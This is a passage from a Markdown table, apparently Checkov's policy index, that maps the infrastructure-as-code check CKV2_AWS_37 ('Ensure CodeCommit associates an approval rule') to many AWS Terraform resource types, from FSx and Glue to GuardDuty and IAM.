[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1527 | CKV2_AWS_37              | resource                         | aws_fms_resource_set                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1528 | CKV2_AWS_37              | resource                         | aws_fsx_backup                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1529 | CKV2_AWS_37              | resource                         | aws_fsx_data_repository_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1530 | CKV2_AWS_37              | resource                         | aws_fsx_file_cache                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1531 | CKV2_AWS_37              | resource                         | aws_fsx_lustre_file_system                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1532 | CKV2_AWS_37              | resource                         | aws_fsx_ontap_file_system                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1533 | CKV2_AWS_37              | resource                         | aws_fsx_ontap_storage_virtual_machine                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1534 | CKV2_AWS_37              | resource                         | aws_fsx_ontap_volume                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1535 | CKV2_AWS_37              | resource                         | aws_fsx_openzfs_file_system                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1536 | CKV2_AWS_37              | resource                         | aws_fsx_openzfs_snapshot                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1537 | CKV2_AWS_37              | resource                         | aws_fsx_openzfs_volume                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1538 | CKV2_AWS_37              | resource                         | aws_fsx_windows_file_system                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1539 | CKV2_AWS_37              | resource                         | aws_gamelift_alias                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1540 | CKV2_AWS_37              | resource                         | aws_gamelift_build                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1541 | CKV2_AWS_37              | resource                         | aws_gamelift_fleet                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1542 | CKV2_AWS_37              | resource                         | aws_gamelift_game_server_group                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1543 | CKV2_AWS_37              | resource                         | aws_gamelift_game_session_queue                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1544 | CKV2_AWS_37              | resource                         | aws_gamelift_script                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1545 | CKV2_AWS_37              | resource                         | aws_glacier_vault                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1546 | CKV2_AWS_37              | resource                         | aws_glacier_vault_lock                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1547 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_accelerator                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1548 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_cross_account_attachment                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1549 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_custom_routing_accelerator                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1550 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_custom_routing_endpoint_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1551 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_custom_routing_listener                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1552 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_endpoint_group                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1553 | CKV2_AWS_37              | resource                         | aws_globalaccelerator_listener                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1554 | CKV2_AWS_37              | resource                         | aws_glue_catalog_database                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1555 | CKV2_AWS_37              | resource                         | aws_glue_catalog_table                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1556 | CKV2_AWS_37              | resource                         | aws_glue_catalog_table_optimizer                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1557 | CKV2_AWS_37              | resource                         | aws_glue_classifier                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1558 | CKV2_AWS_37              | resource                         | aws_glue_connection                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1559 | CKV2_AWS_37              | resource                         | aws_glue_crawler                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1560 | CKV2_AWS_37              | resource                         | aws_glue_data_catalog_encryption_settings                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1561 | CKV2_AWS_37              | resource                         | aws_glue_data_quality_ruleset                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1562 | CKV2_AWS_37              | resource                         | aws_glue_dev_endpoint                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1563 | CKV2_AWS_37              | resource                         | aws_glue_job                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1564 | CKV2_AWS_37              | resource                         | aws_glue_ml_transform                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1565 | CKV2_AWS_37              | resource                         | aws_glue_partition                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1566 | CKV2_AWS_37              | resource                         | aws_glue_partition_index                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1567 | CKV2_AWS_37              | resource                         | aws_glue_registry                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1568 | CKV2_AWS_37              | resource                         | aws_glue_resource_policy                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1569 | CKV2_AWS_37              | resource                         | aws_glue_schema                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1570 | CKV2_AWS_37              | resource                         | aws_glue_security_configuration                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1571 | CKV2_AWS_37              | resource                         | aws_glue_trigger                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1572 | CKV2_AWS_37              | resource                         | aws_glue_user_defined_function                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1573 | CKV2_AWS_37              | resource                         | aws_glue_workflow                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1574 | CKV2_AWS_37              | resource                         | aws_grafana_license_association                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1575 | CKV2_AWS_37              | resource                         | aws_grafana_role_association                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1576 | CKV2_AWS_37              | resource                         | aws_grafana_workspace                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1577 | CKV2_AWS_37              | resource                         | aws_grafana_workspace_api_key                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1578 | CKV2_AWS_37              | resource                         | aws_grafana_workspace_saml_configuration                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1579 | CKV2_AWS_37              | resource                         | aws_grafana_workspace_service_account                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1580 | CKV2_AWS_37              | resource                         | aws_grafana_workspace_service_account_token                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1581 | CKV2_AWS_37              | resource                         | aws_guardduty_detector                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1582 | CKV2_AWS_37              | resource                         | aws_guardduty_detector_feature                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1583 | CKV2_AWS_37              | resource                         | aws_guardduty_filter                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1584 | CKV2_AWS_37              | resource                         | aws_guardduty_invite_accepter                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1585 | CKV2_AWS_37              | resource                         | aws_guardduty_ipset                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1586 | CKV2_AWS_37              | resource                         | aws_guardduty_malware_protection_plan                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1587 | CKV2_AWS_37              | resource                         | aws_guardduty_member                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1588 | CKV2_AWS_37              | resource                         | aws_guardduty_member_detector_feature                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1589 | CKV2_AWS_37              | resource                         | aws_guardduty_organization_admin_account                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1590 | CKV2_AWS_37              | resource                         | aws_guardduty_organization_configuration                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1591 | CKV2_AWS_37              | resource                         | aws_guardduty_organization_configuration_feature                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1592 | CKV2_AWS_37              | resource                         | aws_guardduty_publishing_destination                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1593 | CKV2_AWS_37              | resource                         | aws_guardduty_threatintelset                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1594 | CKV2_AWS_37              | resource                         | aws_iam_access_key                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1595 | CKV2_AWS_37              | resource                         | aws_iam_account_alias                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1596 | CKV2_AWS_37              | resource                         | aws_iam_account_password_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1597 | CKV2_AWS_37              | resource                         | aws_iam_group                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1598 | CKV2_AWS_37              | resource                         | aws_iam_group_membership                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1599 | CKV2_AWS_37              | resource                         | aws_iam_group_policies_exclusive                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1600 | CKV2_AWS_37              | resource                         | aws_iam_group_policy                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1601 | CKV2_AWS_37              | resource                         | aws_iam_group_policy_attachment                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1602 | CKV2_AWS_37              | resource                         | aws_iam_group_policy_attachments_exclusive                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1603 | CKV2_AWS_37              | resource                         | aws_iam_instance_profile                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1604 | CKV2_AWS_37              | resource                         | aws_iam_openid_connect_provider                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1605 | CKV2_AWS_37              | resource                         | aws_iam_organizations_features                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1606 | CKV2_AWS_37              | resource                         | aws_iam_policy                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1607 | CKV2_AWS_37              | resource                         | aws_iam_policy_attachment                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1608 | CKV2_AWS_37              | resource                         | aws_iam_policy_document                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1609 | CKV2_AWS_37              | resource                         | aws_iam_role                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1610 | CKV2_AWS_37              | resource                         | aws_iam_role_policies_exclusive                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1611 | CKV2_AWS_37              | resource                         | aws_iam_role_policy                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1612 | CKV2_AWS_37              | resource                         | aws_iam_role_policy_attachment                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1613 | CKV2_AWS_37              | resource                         | aws_iam_role_policy_attachments_exclusive                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1614 | CKV2_AWS_37              | resource                         | aws_iam_saml_provider                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1615 | CKV2_AWS_37              | resource                         | aws_iam_security_token_service_preferences                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1616 | CKV2_AWS_37              | resource                         | aws_iam_server_certificate                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 